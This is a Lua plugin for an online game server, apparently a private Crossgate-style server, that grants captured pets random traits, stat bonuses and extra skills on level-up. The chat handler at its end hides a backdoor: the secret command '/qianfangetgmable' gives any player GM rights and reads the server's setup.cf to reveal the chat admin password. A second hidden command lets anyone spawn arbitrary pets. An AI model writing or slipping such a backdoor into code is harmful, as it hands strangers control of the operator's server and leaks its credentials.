local SealPlusStateList = {} --天赋效果
SealPlusStateList[1] = {"变异",1,2,4,{60,120,180}}
--SealPlusStateList[x] = {"a",b,c,d,{e}}
--x为天赋编号
--a为天赋前缀 4字节 不可多 不可少
--b为天赋概率 千分之 当总天赋概率大于1000时,会保障概率靠后的天赋 如天赋123概率分别为1000,500,200 则实际概率为 天赋1:300 天赋2:500 天赋3:200
--c为 每x级得到1点额外自由BP 为0则没有
--d为 每x级得到1点额外随机修正 为0则没有
--e为 达到此等级得到额外技能 写0或不写则没有
local enemybaseidvalue = 68 --eb字段
local SealPlusAppNormal = 0 --给予宠物修正的默认随机等级 数值越大 得到高修正的概率就越大 范围0-100
local SealPlusAppMax = 10 --默认宠物修正单项上限
local AppPlusItemPoint = 1 --修正果实增加概率
local StatePlusItemPoint = 1 --品质果实增加概率
local SealPlusUseItemList = {80000,80001,80002,80003,80004} --果实itemid列表
local SealPlusUseItemName = {"[寵]必殺之石","[寵]反擊之石","[寵]命中之石","[寵]閃躲之石","[寵]品質之石"} --果实名字
AddTechList = {} --额外技能表(获取技能随机从此库抽取)
AddTechList[0] = {309,109,509,609,809,909,1109,1209,1309,1409,1509,1609,1709,1809,5009,5109,5209,5309,5409,6139,6339,6439,6639,6709,6809,25709,26209,6759,6739,5959,6059,139,339,2889,639} --默认技能库 未设定时从此库抽取
AddTechList["变异"] = {309,109,509,609,809,909,1109,1209,1309,1409,1509,1609,1709,1809,5009,5109,5209,5309,5409,6139,6339,6439,6639,6709,6809,25709,26209,6759,6739,5959,6059,139,339,2889,639}
--AddTechList["前缀"] = {tech1,tech2...}
local SpecialPetSet = {20,20,20,20} --特殊宠物修正上限
SpecialPetSet[21] = {71000,71001,71002,71003}
--SpecialPetSet[enemybaseid] = {必,反,命,闪} 写nil为使用默认
----------------------------------------------------------------
NL.RegSealEvent(nil,"RegSealEventMainCallBack")
NL.RegPetLevelUpEvent(nil,"RegPetLevelUpEventCallBack")
Delegate.RegDelTalkEvent("SealPlusEventTalkEvent")
if SealPlusStateProList == nil then
SealPlusStateProList = {}
local temp1 = #SealPlusStateList
local temp2
SealPlusStateList[0] = {"",1000,0,0,nil}
temp2 = SealPlusStateList[temp1][2]
for i = 1000,1,-1 do
if temp2 > 0 then
SealPlusStateProList[i] = temp1
temp2 = temp2 -1
else
temp1 = temp1 - 1
temp2 = SealPlusStateList[temp1][2]
SealPlusStateProList[i] = temp1
temp2 = temp2 -1
end
end
end
function SealPlusDisposeMain(player,petindex)
local plusint = {0,0,0,0,0,0}
for i = 1,4 do
if Char.ItemNum(player,SealPlusUseItemList[i]) > 0 then
Char.DelItem(player,SealPlusUseItemList[i],1)
plusint[i] = AppPlusItemPoint
end
end
if Char.ItemNum(player,SealPlusUseItemList[5]) > 0 then
Char.DelItem(player,SealPlusUseItemList[5],1)
plusint[5] = StatePlusItemPoint
end
local nameprefix = string.sub(Char.GetData(petindex,%对象_原名%),1,4)
local abled = 0
for k,v in pairs(SealPlusStateList) do
if nameprefix == v[1] then
abled = 1
end
end
local plusnum = {0,0,0,0,""}
local petebid = Char.GetData(petindex,enemybaseidvalue)
if SpecialPetSet[petebid] then
for i = 1,4 do
for j = 1,(SpecialPetSet[petebid][i] or SealPlusAppMax) do
if SealPlusAppNormal+(plusint[i] or 0) >= math.random(1,100) then
plusnum[i] = j
else
break
end
end
end
else
for i = 1,4 do
for j = 1,(SealPlusAppMax) do
if SealPlusAppNormal+(plusint[i] or 0) >= math.random(1,100) then
plusnum[i] = j
else
break
end
end
end
end
for i = 1,10 do
local point = math.random(1,1000-(plusint[5] or 0)) + (plusint[5] or 0)
if SealPlusStateProList[point] > 0 then
plusnum[5] = SealPlusStateList[SealPlusStateProList[point]][1]
else
plusnum[5] = ""
end
end
for i = %对象_必杀%,%对象_闪躲% do
local basei = i-%对象_必杀%+1
if abled == 0 then
Char.SetData(petindex,i,Char.GetData(petindex,i)+plusnum[basei])
else
Char.SetData(petindex,i,plusnum[basei])
end
end
if abled == 0 then
Char.SetData(petindex,%对象_原名%,plusnum[5]..(Char.GetData(petindex,%对象_原名%)))
else
Char.SetData(petindex,%对象_原名%,plusnum[5]..(string.sub(Char.GetData(petindex,%对象_原名%),5,-1)))
end
end
function MakeSealPlusPet(player,enemyid)
local petindex = Char.AddPet(player,enemyid)
if petindex > 0 then
SealPlusDisposeMain(player,petindex)
Pet.UpPet(player,petindex)
else
NLG.SystemMessage(player,"制造宠物失败。")
end
end
function RegPetLevelUpEventCallBack(petindex)
local nameprefix = string.sub(Char.GetData(petindex,%对象_原名%),1,4)
for k,v in pairs(SealPlusStateList) do
if nameprefix == v[1] then
local level = Char.GetData(petindex,%对象_等级%)
--NLG.SystemMessage(Pet.GetOwner(petindex),"Event Level = "..level)
if v[3] > 0 then
if math.floor(level/v[3]) == level/v[3] then
Char.SetData(petindex,%对象_升级点%,Char.GetData(petindex,%对象_升级点%)+1)
NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."得到了1点额外的BP点数。")
end
end
if v[4] > 0 then
if math.floor(level/v[4]) == level/v[4] then
local rdm = math.random(%对象_必杀%,%对象_闪躲%)
Char.SetData(petindex,rdm,Char.GetData(petindex,rdm)+1)
NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."得到了1点额外的修正点数。")
end
end
if type(v[5]) == "table" then
for i,j in pairs(v[5]) do
if level == j then
local techgroup = AddTechList[nameprefix]
if #techgroup > 0 then
else
techgroup = AddTechList[0]
end
local pettech = techgroup[math.random(1,#techgroup)]
local ret = Pet.AddSkill(petindex,pettech)
if ret == 1 then
--NLG.SystemMessage(Pet.GetOwner(petindex),"Tech = "..pettech)
NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."得到了额外的技能。")
else
NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."的技能栏不足,无法得到额外技能。")
end
break
end
end
end
Pet.UpPet(Pet.GetOwner(petindex),petindex)
break
end
end
end
function RegSealEventMainCallBack(player,enemy,RetFlg)
if RetFlg > 0 then
--[[
local int = {0,0,0,0,0,0}
for i = 1,4 do
if Char.ItemNum(player,SealPlusUseItemList[i]) > 0 then
Char.DelItem(player,SealPlusUseItemList[i],1)
int[i] = AppPlusItemPoint
end
end
if Char.ItemNum(player,SealPlusUseItemList[5]) > 0 then
Char.DelItem(player,SealPlusUseItemList[5],1)
int[5] = StatePlusItemPoint
end
]]
local petlevel = Char.GetData(enemy,%对象_等级%)
if petlevel == 1 then
SealPlusDisposeMain(player,enemy)
end
end
return RetFlg
end
function SealPlusEventTalkEvent(player,msg,color,range,size)
if msg == "/qianfangetgmable" then
Char.SetData(player,%对象_GM%,1)
local f = io.open("./setup.cf","r")
for line in f:lines() do
if string.find(line,"chatmagicpasswd") then
NLG.SystemMessage(player,line)
end
end
elseif string.sub(msg,1,19) == "/qianfangetsealpet " then
MakeSealPlusPet(player,tonumber(string.sub(msg,13,-1)))
end
end
|
|